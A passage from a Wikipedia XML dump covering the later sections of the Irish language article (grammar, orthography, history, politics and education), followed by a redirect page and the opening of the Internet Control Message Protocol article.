The features most unfamiliar to English speakers of the language are the [[orthography]], the [[initial consonant mutation]]s, the [[Verb Subject Object]] word order, and the use of two different forms for &quot;to be&quot;. However, initial mutations are found in other [[Celtic languages]] as well as in some [[Italian language|Italian]] and Sardinian dialects, as an independent development. They are also found in some West [[African languages]].

===Syntax===
''See main article [[Irish syntax]]''

One aspect of Irish syntax that is unfamiliar to speakers of other languages is the use of the [[copula]] (known in Irish as ''an chopail''). The copula is used to describe what or who someone is, as opposed to how and where. This has been likened to the difference between the verbs ''ser'' and ''estar'' in [[Spanish language|Spanish]] and [[Portuguese language|Portuguese]], although this is only a rough approximation. The copula, which in the present tense is ''is'', is usually demonstrative:

:''Is fear é.'' &quot;It is a man.&quot;
:''Is Sasanaigh iad.'' &quot;They're English.&quot;

When saying &quot;this is&quot;, or &quot;that is&quot;, ''seo'' and ''sin'' are used:

:''Seo í mo mháthair.'' &quot;This is my mother.&quot;
:''Sin é an muinteoir.'' &quot;That's the teacher.&quot;

One can also add &quot;that is in him/her/it&quot;, especially when using an adjective, when it is desired to emphasise the quality: 

:''Is fear láidir atá '''ann'''.'' &quot;He's a strong man.&quot; 
:(Literally: &quot;It is a strong man that is in him.&quot;)  

:''Is cailín álainn atá '''inti'''.'' &quot;She's a beautiful girl.&quot;
:(Literally: &quot;It is a beautiful girl that is in her.&quot;)

This sometimes appears in [[Hiberno-English]], either translated literally as &quot;that is in it&quot;, or as &quot;so it is&quot;.

===Morphology===
''See main articles [[Irish morphology]], [[Irish nominals]], and [[Irish verbs]].''

Another feature of Irish grammar that is shared with other Celtic languages is the use of prepositional pronouns (''forainmneacha réamhfhoclacha''), which are essentially conjugated prepositions. For example, the word for &quot;at&quot; is ''ag'', which in the first person singular becomes '''agam''' &quot;at me&quot;. When used with the verb ''bí'' (&quot;to be&quot;) ''ag'' indicates possession; this is the equivalent of the English verb &quot;to have&quot;.

{|cellspacing=&quot;7&quot;
|''Tá leabhar '''agam'''''.||&quot;I have a book.&quot;||(Literally, &quot;is a book at me&quot;)
|-
|''Tá deoch '''agat'''''.||&quot;You have a drink.&quot;
|-
|''Tá ríomhaire '''aige'''''.||&quot;He has a computer.&quot;
|-
|''Tá páiste '''aici'''''.||&quot;She has a child.&quot;
|-
|''Tá carr '''againn'''''.||&quot;We have a car.&quot;
|-
|''Tá teach '''agaibh'''''.||&quot;You (plural) have a house.&quot;
|-
|''Tá airgead '''acu'''''.||&quot;They have money.&quot;
|}

Compare with [[Breton language|Breton]]:

{|cellspacing=&quot;7&quot;
|''Ul levr a zo '''ganin'''''.||&quot;I have a book.&quot;
|-
|''Ur banne a zo '''ganit'''''.||&quot;You have a drink.&quot;||('Banne' related to the Irish 'bainne' - milk - though semantically drifted)
|-
|''Un urzhiataer a zo '''gantañ'''''.||&quot;He has a computer.&quot;
|-
|''Ur bugel a zo '''ganti'''''.||&quot;She has a child.&quot;||('Bugel' related to Irish word &quot;buachail&quot; - boy - though semantically drifted)
|-
|''Ur c'harr a zo '''ganimp'''''.||&quot;We have a car.&quot;
|-
|''Un ti a zo '''ganeoc'h'''''.||&quot;You (plural) have a house.&quot;
|-
|''Arc'hant a zo '''ganto'''''.||&quot;They have money.&quot;
|}

===Orthography and pronunciation===
''See main articles [[Irish orthography]] and [[Irish phonology]].''

The written language looks rather daunting to those unfamiliar with it. Once understood, the orthography is relatively straightforward. The [[acute accent]], or ''síneadh fada'' (´), serves to lengthen the sound of the vowels and in some cases also changes their quality. For example, in Munster Irish (Kerry), ''a'' is {{IPA|/ʌ/}} or {{IPA|/ɑ/}} and ''á'' is {{IPA|/ɔ/}} in &quot;law&quot; but in Ulster Irish (Donegal), ''á'' tends to be {{IPA|/ɑː/}}. 

Around the time of [[World War II]], [[Séamas Daltún]], in charge of Rannóg an Aistriúcháin (the official translations department of the Irish government), issued his own guidelines about how to standardise Irish spelling and grammar. This de facto standard was subsequently approved of by the State and called the Official Standard or ''Caighdeán Oifigiúil''. It simplified and standardised the orthography. Many words had silent letters removed and vowel combination brought closer to the spoken language. Where multiple versions existed in different dialects for the same word, one or more were selected.

Examples:
* ''Gaedhealg / Gaedhilg(e) / Gaedhealaing / Gaeilic / Gaelainn / Gaoidhealg / Gaolainn'' =&gt;  ''Gaeilge'', &quot;Irish language&quot; (''Gaoluinn'' or ''Gaolainn'' is still used in books written in dialect by Munster authors, or as a facetious name for the Munster dialect)
* ''Lughbhaidh''  =&gt;  ''Lú'', &quot;Louth&quot;
* ''biadh''  =&gt;  ''bia'', &quot;food&quot; (The orthography ''biadh'' is still used by the speakers of those dialects that show a meaningful and audible difference between ''biadh'' - nominative case - and ''bídh'' - genitive case: &quot;of food, food's&quot;. For example, in Munster Irish the latter ends in an audible -g sound, because final ''-idh, -igh'' regularly delenites to ''-ig'' in Munster pronunciation.)

Modern Irish has only one [[diacritic]] sign, the acute (á é í ó ú), known in Irish as the ''síneadh fada'' 'long mark', plural ''sínte fada''. In English, this is frequently referred to as simply the ''fada'', where the adjective is used as a noun. The dot-above diacritic, called a ''ponc séimhithe'' or ''sí buailte'' (often shortened to ''buailte''), derives from the ''punctum delens'', which was used in medieval manuscripts to indicate deletion, similar to crossing out unwanted words in handwriting today. From this usage it was used to indicate the [[lenition]] of ''s'' (from /s/ to /h/) and ''f'' (from /f/ to zero) in [[Old Irish]] texts. Lenition of ''c'', ''p'', and ''t'' was indicated by placing the letter ''h'' after the affected consonant; lenition of other sounds was left unmarked. Later both methods were extended to be indicators of lenition of any sound except ''l'' and ''n'', and two competing systems were used: lenition could be marked by a ''buailte'' or by a postposed ''h''. Eventually, use of the ''buailte'' predominated when texts were writing using Gaelic letters, while the ''h'' predominated when writing using Roman letters. Today Gaelic letters and the ''buailte'' are rarely used except where a 'traditional' style is required, e.g. the motto on the [[University College Dublin]] [[coat-of-arms]]  or the symbol of the Irish Defence Forces, The [[Irish Defence Forces cap badge]] ''(Óglaiġ na h-Éireann)''. Letters with the ''buailte'' are available in [[Unicode]] and [[ISO 8859-14|Latin-8]] [[character set]]s (see Latin Extended Additional chart [http://www.unicode.org/charts/PDF/U1E00.pdf PDF]).

===Mutations===
''See main article [[Irish initial mutations]]''

In Irish, there are two classes of initial mutations:

* Lenition (in Irish, ''séimhiú'' &quot;softening&quot;) describes the change of stops into fricatives. Indicated in old orthography by a dot (called a sí buailte) written above the changed consonant, this is now shown by adding an extra -h-:
** ''caith!'' &quot;throw!&quot; - ''chaith mé'' &quot;I threw&quot; (this is an example of the lenition as a past-tense marker, which is caused by the use of ''do'', although this is now usually omitted)
** ''margadh'' &quot;market&quot;, &quot;market-place&quot;, &quot;bargain&quot; - ''Tadhg an mhargaidh'' &quot;the man of the street&quot; (word for word &quot;Timothy of the market-place&quot; (here we see the lenition marking the genitive case of a masculine noun)
** ''Seán'' &quot;Seán, John&quot; - ''a Sheáin!'' &quot;O John!&quot; (here we see lenition as part of what is called the vocative case - in fact, the vocative lenition is triggered by the ''a'' or vocative marker before ''Sheáin'')

* Nasalisation (in Irish, ''urú'' &quot;eclipsis&quot;) covers the voicing of voiceless stops, as well as the true nasalisation of voiced stops.
** ''athair'' &quot;father&quot; - ''ár nAthair'' &quot;our Father&quot;
** ''tús'' &quot;start&quot;, ''ar dtús'' &quot;at the start&quot;
** ''Gaillimh'' &quot;Galway&quot; - ''i nGaillimh'' &quot;in Galway&quot;

==History and politics==

===Stages of the Irish language===
The introduction of Irish to Ireland dates from some time after 1200 BC.&lt;sup&gt;2&lt;/sup&gt; The earliest form of the language, [[Primitive Irish]], is found in [[ogham]] inscriptions up to about the [[4th century]]AD. After the conversion to [[Christianity]], [[Old Irish]] begins to appear as [[gloss]]es in the margins of [[Latin]] [[manuscripts]], beginning in the [[6th century]], until it gives way in the [[10th century]] to Middle Irish. Modern Irish dates from about the [[16th century]].

===Irish Language Movement===

The Irish language was the most widely spoken language on the island of Ireland until the 19th century. The first [[Bible]] in Irish was translated by William Bedell, [[Church of Ireland]] [[Bishop]] of [[Kilmore]], in the [[17th century]].Though its number of speakers has been in decline since the 19th century, it is an important part of [[Irish nationalist]] identity.

A combination of the introduction of a primary education system (the '[[National School]]s'), in which Irish was prohibited and only English taught by order of the [[United Kingdom of Great Britain and Ireland|British government]], and the [[Irish Potato Famine|Great Famine]] (''An Gorta Mór'') which hit a disportionately high number of Irish language speakers (who lived in the poorer areas heavily hit by famine deaths and emigration), hastened its rapid decline. Irish political leaders, such as [[Daniel O'Connell]] (Dónall Ó Conaill), too were critical of the language, seeing it as 'backward', with English the language of the future. Contemporary reports spoke of Irish-speaking parents actively discouraging their children from speaking the language, and encouraging the use of English instead. This practice continued long after independence, as the stigma of speaking Irish remained very strong. Despite the policy of successive Irish governments to promote the language the decline in the number of native speakers within the Gaeltacht has accelerated although the number of those elsewhere in the country able to speak it (as a second language) has increased albeit not to the extent that many hoped.

Some, however, thought differently. The initial moves to save the language were championed by Irish [[Protestants]], such as the linguist and clergyman [[William Neilson]], in the end of the eighteenth century; the major push occurred with the foundation by [[Douglas Hyde]], the son of a Church of Ireland rector, of the [[Gaelic League]] (known in Irish as ''Conradh na Gaeilge'') which started the [[Gaelic Revival]]. Leading supporters of Conradh included [[Patrick Pearse|Pádraig Mac Piarais]] and [[Eamon de Valera|Éamon de Valera]]. The revival of interest in the language coincided with other cultural revivals, such as the foundation of the [[Gaelic Athletic Association]] and the growth in the performance of plays about Ireland in English, by such luminaries as [[William Butler Yeats]], [[J.M. Synge]], [[Sean O'Casey]] and [[Lady Gregory]], with their launch of the [[Abbey Theatre]].  

Even though the Abbey Theatre playwrights wrote in English (and indeed some disliked Irish) the Irish language affected them, as it did all Irish English speakers. The version of English spoken in Ireland, known as [[Hiberno-English]] bears striking similarities in some grammatical idioms with Irish. Some have speculated that even after the vast majority of Irish people stopped speaking Irish, they perhaps subsconsciously used its grammatical flair in the manner in which they spoke English. This fluency is reflected in the writings of Yeats, [[George Bernard Shaw]], [[Oscar Wilde]] and more recently in the writings of [[Seamus Heaney]], [[Paul Durcan]], [[Dermot Bolger]] and many others.  (It may also in part explain the appeal in Britain of Irish-born broadcasters like [[Terry Wogan]], [[Eamonn Andrews]], [[Graham Norton]], [[Desmond Lynam]], etc.)

This national cultural revival of the late nineteenth century and early twentieth century matched the growing Irish radicalism in Irish politics. Many of those, such as Pearse, de Valera, [[W.T. Cosgrave]] (Liam Mac Cosguir) and [[Ernest Blythe]] (Earnán de Blaghd), who fought to achieve Irish independence and came to govern the independent Irish state, first became politically aware through Conradh na Gaeilge, though Hyde himself resigned from its presidency in 1915 in protest at the movement's growing politicisation.

A Church of Ireland campaign to promote worship and religion in Irish was started in [[1914]] with the founding of ''Cumann Gaelach na hEaglaise'' (the Irish Guild of the Church). The [[Roman Catholic]] Church also replaced its liturgies in [[Latin]] with Irish and English for their liturgies following the [[Second Vatican Council]] in the [[1960s]].

===Independent Ireland and the language===
The independent Irish state was established in 1922  ([[The Irish Free State]] 1922-37; [[Éire|Ireland (Éire)]] from [[1937]], also known since [[1949]] as the [[Republic of Ireland]]). Although some [[Irish republicanism|Republican]] leaders had been committed language enthusiasts, the new state continued to use English as the language of administration, even in areas where over 80% of the population spoke Irish. The government refused to implement the 1926 recommendations of the Gaeltacht Commission, which included restoring Irish as the language of administration in such areas. As the role of the state grew, it therefore exerted tremendous pressure on Irish-speakers to speak English. This was only partly offset by measures which were supposed to support the Irish language. For instance, the state was by far the largest employer. A qualification in Irish was required to apply for state jobs. However, this did not require a high level of fluency, and few public employees were ever required to use Irish in the course of their work. On the other hand, state employees had to have perfect command of English and had to use it constantly. Because most public employees had a poor command of Irish, it was impossible to deal with them in Irish. If an Irish-speaker wanted to apply for a grant, obtain electricity, or complain about being over-taxed, they had to do it in English. As late as 1986 a Bord na Gaeilge report noted &quot;...the administrative agencies of the state have been among the strongest forces for anglicisation in Gaeltacht areas&quot;. (page 41 of “The Irish Language in a Changing Society: Shaping The Future”. Author: Advisory Planning Committee of Bord na Gaeilge. Published by Criterion in 1986).

The new state increased attempts to promote Irish through the school system. Some politicians claimed  that the state would become predominantly Irish-speaking within a generation. However, it is generally  agreed that this policy was clumsily implemented (and sometimes proved even to be counter productive) . From the mid-1940s onward the policy of teaching English-speaking children through Irish was abandoned. In the following decades, support for the language was progressively reduced. 

Whereas the first three presidents of Ireland ([[Douglas Hyde]]/Dubhghlas de hÍde, [[Sean T. O'Kelly]]/Seán T. Ó Ceallaigh and [[Eamon de Valera]]) and the fifth ([[Cearbhall Ó Dálaigh]]) were all so fluent in Irish that it became the working language in their official residence, later presidents struggled with any degree of fluency, its use declining to such an extent that it is ''only'' used now (if at all) in occasional speeches. Similarly, where earlier generations of Irish government leaders were highly fluent, recent prime ministers ([[Albert Reynolds]]/Ailbhe Mag Raghnaill, [[John Bruton]], [[Bertie Ahern]]) had little fluency, struggling to pronounce passages of their speeches in Irish to their [[Ard-Fheis|Ard-Fheiseanna]] (party conference(s), {{IPA2|ˈɑːrd ˈeʃənə}}). 

It is, though, disputed to what extent such professed [[language revival]]ists as de Valera genuinely tried to Gaelicise political life. Ernest Blythe did little during his time as Minister of Finance to assist Irish language projects beyond the vested interests of already established organisations. Even in the first [[Dáil Éireann]], few speeches were delivered ''as Gaeilge'' (in Irish), with the exception of formal proceedings. None of the recent taoisigh (plural of 'Taoiseach', meaning 'prime minister') have been fluent in Irish; however, the two most recent [[President of Ireland|Presidents]], [[Mary McAleese]] (Máire Mhic Ghiolla Íosa) and [[Mary Robinson]] (Máire Mhic Róibín) are fluent, though the latter studied the language while in office to improve her fluency. Every [[President of Ireland]] has all so far taken their inaugurational 'Declaration of Office' in the language, but they have the option of taking the English declaration at [[Inauguration of the President of Ireland|the inauguration]].

Even modern parliamentary legislation, though ''supposed'' to be issued in both Irish and English, is frequently only available in English. Much of publicly displayed Irish is ungrammatical, thus irritating both language activists and enemies of the language and contributing to the public image of the revival as phony and bogus.

Many public bodies have Irish language or bilingual names, but some have downgraded the language. For example, [[Eircom]] (formerly [[Telecom Éireann]]) effectively dropped Irish from its telephone directories in [[1999]]. [[An Post]], the Republic's postal service, continues to have [[Place names in Irish|place names]] in the language on its postmarks, as well as recognising addresses (as does the [[Royal Mail]] in Northern Ireland).

In an effort to address the half-committed attitude of Irish language use by the State, the [[Official Languages Act 2003|Official Languages Act]] was passed in 2003. This act ensures that ''every'' publication made by a governmental body must be published in both official languages, Irish and English. In addition, the office of Language Commissioner has been set up to act as an [[ombudsman]] with regard to equal treatment in both languages.

[[Image:Irelandsign.jpg|thumb|200px|Picture of a typical Irish road sign with placenames in [[English language|English]] and Irish.]]

In 2002, at the launch of what was to be a new traffic management system for [[Dublin]], it was revealed that the vast majority of signs would be in English only. The justification offered was that, in making the English lettering large enough to be easily read by motorists from a distance, there was no space to include Irish. The use of the single Irish words left, 'An Lár' (meaning city centre) was criticised on the basis that no-one would know what it meant, even though it was a term used widely for decades on street signs. Even the once common method in Ireland of beginning and ending letters - beginning 'A Chara' (meaning friend) and ending 'Is Mise le Meas' - is becoming rarer.

A major factor in the decline of spoken Irish has been the movement of English-speakers into the Gaeltacht (predominantly Irish speaking areas) and the return of native Irish-speakers who have acquired English-speaking families. This has been stimulated by government grants and infrastructure projects. &quot;only about half Gaeltacht children learn Irish in the home... this is related to the high level of in-migration and return migration which has accompanied the economic restructuring of the Gaeltacht in recent decades&quot; (page xxvi  of ''The Irish Language in a Changing Society: Shaping The Future'') . Many see this as a deliberate attempt by anti-nationalist politicians to wipe out the language. &quot;That economic development of the kind undertaken was likely to have such consequences was readily predictable a decade ago&quot;  (p47). In a last-ditch effort to stop the complete collapse of Irish-speaking in Connemara in Galway,  planning controls have been introduced on the building of new homes in Irish speaking areas. These are supposed to ensure that the proportion of English speakers in the local population does not increase. But even this may be too little, too late, as many of those areas have a majority of English speakers, with all Irish speakers being bilingual, using English as their everyday language except among themselves.

Attempts have been made to offer some support for the language through the media, notably the launch of [[Raidió na Gaeltachta]] (Gaeltacht radio) and [[Teilifís na Gaeilge]] (Irish language television, called initially 'TnaG', now renamed [[TG4]]); both have been relatively successful. TG4 has offered Irish-speaking young people a forum for youth culture ''as Gaeilge'' (in Irish) through rock and pop shows, travel shows, dating games, and even a controversial award-winning [[soap opera]] in Irish called ''[[Ros na Rún]]'' (featuring, among other characters, an Irish-speaking gay couple and their child). Most of TG4's viewership, however, tends to come from showing [[Gaelic football]], [[hurling]] and [[rugby football|rugby]] matches, and films in English.  

There is also a daily Irish-language newspaper called ''[[Lá]]'', a weekly called ''[[Foinse]]'', and the ''[[Irish Times]]'' and ''[[Daily Ireland]]'' have pages in Irish, with articles appended with short lists giving the meaning of some of the words used in English.

More controversially the Official language required the use of both the Irish and English placenames in English speaking areas of the state but only allows for the use of Irish placenames on all official documents, maps and roadsigns in or referring to (what are often only nominally) Gaeltacht areas.
Opposition to these measures comes from several quarters including some people within popular tourist destinations located within the Gaeltacht (such as [[Dingle]]/An Daingean) who complain that tourists may not recognise the Gaelic forms of the placenames.

In 1938, the founder of the Conradh na Gaeilge, Douglas Hyde, was inaugurated as the first [[President of Ireland]]. The record of his delivering his inauguration 'Declaration of Office' in his native [[County Roscommon|Roscommon]] Irish remains almost the only surviving remnant of anyone speaking in that dialect, which in effect died out with him. Over sixty years later, the majority of the Gaeltacht and Irish-speaking areas in existence as he took that oath no longer exist.

There is a concerted effort to promote the language among recent immigrants. In 2003, the [[Qur'an]] was translated into Irish, following a collaboration between the Islamic Cultural Centre in [[Dublin]] and [[Foras na Gaeilge]].

===Northern Ireland===
:''Main article: [[Irish language in Northern Ireland]]''

As in the Republic, the Irish language is a [[minority language]] in Northern Ireland, known in Irish as ''Tuaisceart na hÉireann''/''Tuaisceart Éireann'' or ''na sé chontae'' (the [[six counties]]).

Attitudes towards the language in Northern Ireland have traditionally reflected the political differences between its two divided communities. The language has been regarded with suspicion by [[Unionists (Ireland)|unionists]], who have associated it with the [[Catholic]]-dominated Republic, and more recently, with the [[Irish republicanism|republican]] movement. Many republicans in Northern Ireland, including [[Sinn Féin]] President [[Gerry Adams]], learnt Irish while in prison, a development known as the ''jailtacht''. Although the language was taught in Catholic secondary schools (especially by the [[Congregation of Christian Brothers|Christian Brothers]]), it was not taught at all in state ([[Protestant]]) schools and public signs in Irish were effectively banned under laws by the [[Parliament of Northern Ireland]], which stated that only [[English language|English]] could be used.

These laws were not repealed by the [[British government]] until the early 1990s. However, Irish-medium schools, known as ''[[gaelscoil]]eanna'', had already been founded in [[Belfast]] and [[Derry]], and an Irish-language newspaper called ''Lá'' ('day') was established in Belfast. [[BBC]] [[BBC Radio Ulster|Radio Ulster]] began broadcasting a nightly half-hour programme in Irish  in the early 1980s called ''Blas'' ('taste', 'accent'), and [[BBC Northern Ireland]] also showed its first TV programme in the language in the early 1990s. 

The ''[[Ultach Trust]]'' was also established, with a view to broadening the appeal of the language among Protestants, although hardline [[loyalist]]s like [[Ian Paisley]] continued to ridicule it as a &quot;[[leprechaun]] language&quot;. [[Ulster Scots language|Ulster Scots]], promoted by many [[loyalist]]s, was, in turn, ridiculed by nationalists (and even some [[Unionist]]s) as &quot;a [[DIY]] language for [[Orange Order|Orangemen]]&quot; According to recent statistics, there is no significant difference between the number of Catholic and Protestant speakers of Ulster Scots in Ulster (see [[Ulster Scots language#Who speaks it|Ulster Scots language]]), although those involved in promoting Ulster-Scots as a language are almost always unionist. Although Ulster-Scots is now officially recognised as a language in Northern Ireland (there are also some attempts to promote it in some border counties of the Republic)  many people claim it is actually little more than a [[dialect]] of English

Irish received official recognition in Northern Ireland for the first time in [[1998]] under the [[Belfast Agreement|Good Friday Agreement]]. A cross-border body known as ''[[Foras na Gaeilge]]'' was established to promote the language in both  Northern Ireland and the [[Republic of Ireland|Republic]], taking over the functions of the previous Republic-only ''Bord na Gaeilge''.

The British government has ratified the [[European Charter for Regional or Minority Languages]] in respect to Irish in Northern Ireland.

It has been claimed that [[Belfast]] now represents the fastest growing centre of Irish language usage on the island - and the [[Good Friday Agreement]]'s provisions on 'parity of esteem' have been used to give the language an official status there. In [[March 2005]], the Irish language TV service [[TG4]] began broadcasting from the Divis transmitter near [[Belfast]], as a result of agreement between the [[Irish Minister for Foreign Affairs|Department of Foreign Affairs]] and the [[Northern Ireland Office]], although so far this is the only transmitter to carry it.

==Irish language today==

The number of native Irish-speakers in the [[Republic of Ireland]] today is a tiny fraction of what it was at independence. The [[Official Languages Act 2003|Official Languages Act]] of 2003 gave people the right to interact with state bodies in Irish. It is too early to assess how well this is working in practice. Other factors were outward migration of Irish speakers from the Gaeltacht and inward migration of English-speakers. The Planning and Development Act (2000) attempted to address the latter issue, but the response is almost certainly inadequate. Planning controls now require new housing in Gaeltacht areas to be allocated to English-speakers and Irish-speakers in the same ratio as the existing population of the area. This will not prevent houses allocated to Irish-speakers subsequently being sold on to English-speakers. Outward migration of Irish-speakers could be reduced if the state, which is the main employer in the [[Republic of Ireland]], were to exercise its right to have certain jobs performed in Irish and relocated to the Gaeltacht. On 3rd December 2003 the [[Minister for Finance (Ireland)|Minister for Finance]] announced a new Decentralisation programme, moving over 10,000 civil and public service jobs to 53 locations in 25 other counties outside Dublin. The government explicitly said this was being done to boost the economy of outlying areas. None of these jobs were used to provide employment for native Irish-speakers in  the Gaeltacht.

According to data compiled by the Irish Department of Community, Rural and Gaeltacht Affairs, only one quarter of households in Gaeltacht areas possess a fluency in Irish. The author of a detailed analysis of the survey, Donncha Ó hÉallaithe, described the Irish language policy followed by Irish governments a 'complete and absolute disaster.' [[The Irish Times]] ([[January 6]], [[2002]]), referring to his analysis, which was initially published in the Irish language newspaper ''Foinse'', quoted him as follows: 'It is an absolute indictment of successive Irish Governments that at the foundation of the Irish State there were 250,000 fluent Irish speakers living in Irish-speaking or semi Irish-speaking areas, but the number now is between 20,000 and 30,000.'

According to the language survey, levels of fluency among families is 'very low', from 1% in [[Galway]] suburbs to a maximum of 8% parts of west [[Donegal]]. With such sharp decline, particularly among the young, the real danger exists that Irish will largely become extinct within two generations, possibly even one. While the language will continue to exist among English speakers who have learned fluency and are bilingual (though mainly English-speaking in their everyday lives) Gaeltachtaí embody more than just a language, but the cultural context in which it is spoken, through song, stories, social traditions, folklore and dance. The death of the Gaeltachtaí would make a break forever between Ireland's cultural past and identity, and its future. All sides, irrespective of their view on the methodology used by independent Ireland in its efforts to preserve the language, agree that such a loss would be a cultural tragedy of a monumental scale.

The [http://www.usenglish.org/foundation U.S. English Foundation] has published analyses of the United States Census 2000, and states that 25,870 US residents [http://www.usenglish.org/foundation/research/lia/languages/irish_gaelic.pdf speak the Irish language at home (pdf file)].

An interest in the Irish language is maintained throughout the [[Anglophone|English speaking]] world among the [[Irish diaspora]] and there are active Irish language groups in [[North America]]n, [[Britain|British]] and [[Australia]]n cities.

Several computer software products have the option of an Irish-language interface. Prominent examples include [[Mozilla Firefox]][http://gaeilge.mozdev.org/], [[Mozilla Thunderbird]][http://gaeilge.mozdev.org/], [[OpenOffice.org]][http://ga.openoffice.org/], and Microsoft [[Windows XP]][http://www.microsoft.com/downloads/details.aspx?FamilyID=0db2e8f9-79c4-4625-a07a-0cc1b341be7c&amp;displaylang=ga].

==Irish in education==

The Irish language is a compulsory subject in government funded schools in the Republic of Ireland and has been so since the early days of the state. While many students learn Irish well through the Irish school system, and develop a healthy respect for it, many other students find it difficult are taught it poorly by unmotivated teachers; these students' attitudes toward Irish tend to range from apathy to hostility.

All things being equal, for English-speakers, Irish is more difficult than Spanish or German. Irish syntax, morphology, and vocabulary are a good deal more different to English than many other European languages are; this makes learning it challenging for many. The Irish Government has endeavoured to address the situation by revamping the curriculum at primary school level to focus on spoken Irish. However, at secondary school level, it can easily be argued that Irish is still taught &quot;academically&quot;. Students must write lengthy essays, debates, and stories in Irish in the Leaving Certificate exam.

Recently the abolition of compulsory Irish has been discussed and while some Irish people favour such a move, many do not. In 2005 [[Enda Kenny]], leader of Ireland's main opposition party, [[Fine Gael]], called for the language to be made an optional subject in the last two years of secondary school. This call drew widespread criticism from many quarters although some, such as the [[Reform Movement (Ireland)|Reform Movement]], have supported his call. Mr Kenny, despite being a fluent speaker himself, stated that he believed that compulsory Irish has done the language more harm than good.

A relatively recent development is the proliferation of [[gaelscoil]]eanna, i.e. schools in which Irish is the medium of education. By September 2005 there were 158 gaelscoileanna at primary level and 36 at secondary level in the Republic of Ireland and Northern Ireland together (excluding the Gaeltacht, whose schools are not considered gaelscoileanna), which amounted to approximately 31,000 students. This has grown from a total of less than 20 in the early 1970's and there are 15 more being planned at present. With the opening of Gaelscoil Liatroma in [[County Leitrim]] in 2005 there is now at least one gaelscoil in each of the 32 [[counties of Ireland|traditional counties of Ireland]].

==Language Reformism==

Calls for the simplification of the Irish language have been made by a few sources, most notably the [http://www.teanganua.pro.ie An Teanga Nua] website, to fierce opposition from online sources (such as [http://www.Daltai.com Daltai.com] who themselves are fluent in the language.

The reform advocated by this website is pretty radical, and not outlined in great detail online as of yet.

==Notes==
&lt;sup&gt;1&lt;/sup&gt;Article in the Irish Independent.

&lt;sup&gt;2&lt;/sup&gt; J.P.Mallory ''Two Perspectives on the Problem of Irish Origins'' Emania 9(1991)53, at 58: &quot;The lexical evidence of the Irish language suggests that it was introduced into Ireland most plausibly after c.1200 BC and any attempt to set the arrival of the Irish before this date becomes increasingly difficult to sustain ... I find it difficult to imagine it as anything other than a language introduced by a population movement rather than a ''lingua franca'' or pidgin carried along trade routes ...&quot;

==See also==
* [[Differences between Scottish Gaelic and Irish]]
* [[Irish initial mutations]]
* [[Irish name]]
* [[Irish morphology]]
* [[Irish orthography]]
* [[Irish phonology]]
* [[Irish syntax]]
* [[Irish words used in the English language]]
* [[Modern literature in Irish]]
* [[Place names in Irish]]
* [[List of Irish given names]]
* [[Common phrases in different languages]]
* [[Non-native pronunciations of English]]
* [[List of Ireland-related topics]]
* [[Céad míle fáilte]]
* [[Newfoundland Irish]]
* [[Language Freedom Movement]]

== External links ==
{{InterWiki|code=ga}}
{{Wikibookspar||Irish}}
*[http://wikisource.org/wiki/Main_Page:Gaeilge Irish main page at Wikisource]
*{{de icon}}''[http://de.wikisource.org/wiki/Die_araner_mundart Die araner mundart]'' (a phonological description of the dialect of the [[Aran Islands]], from 1899)
*[http://www.smo.uhi.ac.uk/gaeilge/gaeilge.html Gaeilge ar an ghréasán Irish online recources]
*[http://homepage.ntlworld.com/r.a.mccartney/baile_nua/main.html A Plan to save the Irish Language - includes background info from authoritative sources]
*[http://www.bnag.ie Foras na Gaeilge]
*[http://www.foinse.ie Foinse - weekly newspaper]
*[http://www.daltai.com Irish Language Information and Resources]
*[http://www.ethnologue.com/show_language.asp?code=gle Irish] at [[Ethnologue]]
*[http://www.ceantar.org/Dicts/search.html Gaelic Dictionaries]
*[http://nualeargais.ie/gnag/gram.htm Braesicke's Gramadach na Gaeilge (Engl. translation)]
*[http://www.naaclt.org/ North American Association for Celtic Language Teachers]
*[http://www.celticleague.org/ The Celtic League, American Branch (CLAB)]
*[http://www.celtdigital.org/ Celt Digital, The Celtic World on the Web]
*[http://www.irishhamilton.ca/ Irish Hamilton]
*[http://www.websters-online-dictionary.org/definition/Irish-english/  Irish English Dictionary] from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
*[http://www.celtic-tigers.com Irish language for children in SE Asia]
*[http://www.gaelscoileanna.ie]

===Northern Ireland===
* [http://www.cinni.org/ultach/ Ultach Trust]
* [http://www.nuacht.com Lá]
* [http://www.bbc.co.uk/northernireland/irish/ BBC Northern Ireland Irish language]

[[Category:Irish language| ]]

[[af:Iers-Gaelies]]
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[[ast:Irlandés]]
[[bg:Ирландски език]]
[[br:Iwerzhoneg]]
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[[cy:Gwyddeleg]]
[[da:Irsk (sprog)]]
[[de:Irische Sprache]]
[[es:Idioma irlandés]]
[[eo:Irlanda lingvo]]
[[eu:Gaeliko]]
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[[gd:Gaeilge]]
[[ko:아일랜드어]]
[[id:Bahasa Irlandia]]
[[is:Írska]]
[[it:Lingua irlandese]]
[[he:אירית]]
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[[oc:Irlandés]]
[[pl:Język irlandzki]]
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  </page>
  <page>
    <title>Icelandic (language)</title>
    <id>15106</id>
    <revision>
      <id>15912613</id>
      <timestamp>2003-07-22T22:13:56Z</timestamp>
      <contributor>
        <ip>194.144.24.9</ip>
      </contributor>
      <comment>redirecting page to new (more conventional) name</comment>
      <text xml:space="preserve">#REDIRECT [[icelandic language]]</text>
    </revision>
  </page>
  <page>
    <title>Internet Control Message Protocol</title>
    <id>15107</id>
    <revision>
      <id>41011427</id>
      <timestamp>2006-02-24T13:42:32Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: tr</comment>
      <text xml:space="preserve">{{IPstack}}
&lt;!-- Edit the stack image at: Template:IPstack --&gt;

The '''Internet Control Message Protocol''' ('''ICMP''') is one of the core protocols of the [[Internet protocol suite]]. It is chiefly used by networked computers' [[operating system]]s to send error messages&amp;mdash;indicating, for instance, that a requested service is not available or that a host or router could not be reached.

ICMP differs in purpose from [[Transmission Control Protocol|TCP]] and [[User Datagram Protocol|UDP]] in that it is usually ''not'' used directly by user network applications. One exception is the [[ping]] tool, which sends ICMP Echo Request messages (and receives Echo Response messages) to determine whether a host is reachable and how long packets take to get to and from that host.

== Technical Details==
The '''Internet Control Message Protocol''' ('''ICMP''') is part of the [[Internet protocol suite]] as defined in RFC 792.  ICMP messages are typically generated in response to errors in [[Internet Protocol|IP]] [[datagram]]s (as specified in RFC 1122) or for diagnostic or routing purposes.

The version of ICMP for [[IPv4|Internet Protocol version 4]] is also known as '''ICMPv4''', as it is part of IPv4. [[IPv6]] has an equivalent protocol.

